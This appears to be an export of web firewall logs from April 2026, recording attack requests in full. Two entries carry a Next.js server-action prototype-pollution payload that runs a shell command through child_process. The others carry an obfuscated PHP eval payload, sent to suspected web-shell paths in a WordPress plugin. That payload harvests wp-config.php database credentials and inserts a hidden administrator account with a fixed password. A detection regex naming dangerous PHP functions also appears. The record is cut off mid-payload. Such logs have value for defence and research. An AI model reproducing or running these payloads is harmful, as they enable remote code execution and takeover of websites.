["2026-04-18 10:02:52","20.203.102.60","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 0:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;\/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-site:none\ncontent-type:multipart\/form-data; boundary=----FormBoundaryf644d20328e25025\ncontent-length:666\nsec-fetch-dest:document\nhost:47.254.126.238\naccept-language:en-US,en;q=0.9\nconnection:keep-alive\naccept:text\/x-component\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Safari\/605.1.15\nnext-action:x\ncache-control:no-cache\naccept-encoding:gzip, deflate, br\n\n------FormBoundaryf644d20328e25025\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;\/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------FormBoundaryf644d20328e25025\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------FormBoundaryf644d20328e25025\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n------FormBoundaryf644d20328e25025--"]
["2026-04-18 11:22:25","203.161.30.166","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 0:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;\/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}","POST \/ HTTP\/1.1\nupgrade-insecure-requests:1\ncache-control:no-cache\ncontent-type:multipart\/form-data; boundary=----WebKitFormBoundary59b66aeed04a3bc0\ndnt:1\ncontent-length:690\nnext-action:x\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nhost:47.254.126.238\naccept-language:en-GB,en;q=0.9\nconnection:keep-alive\naccept:text\/x-component\naccept-encoding:gzip, deflate, br\n\n------WebKitFormBoundary59b66aeed04a3bc0\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;\/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------WebKitFormBoundary59b66aeed04a3bc0\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------WebKitFormBoundary59b66aeed04a3bc0\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n------WebKitFormBoundary59b66aeed04a3bc0--"]
["2026-04-18 11:30:37","124.55.178.99","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ybXJBY:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:12663\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nybXJBY=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-18 11:31:12","194.31.64.217","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> phaqOW:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%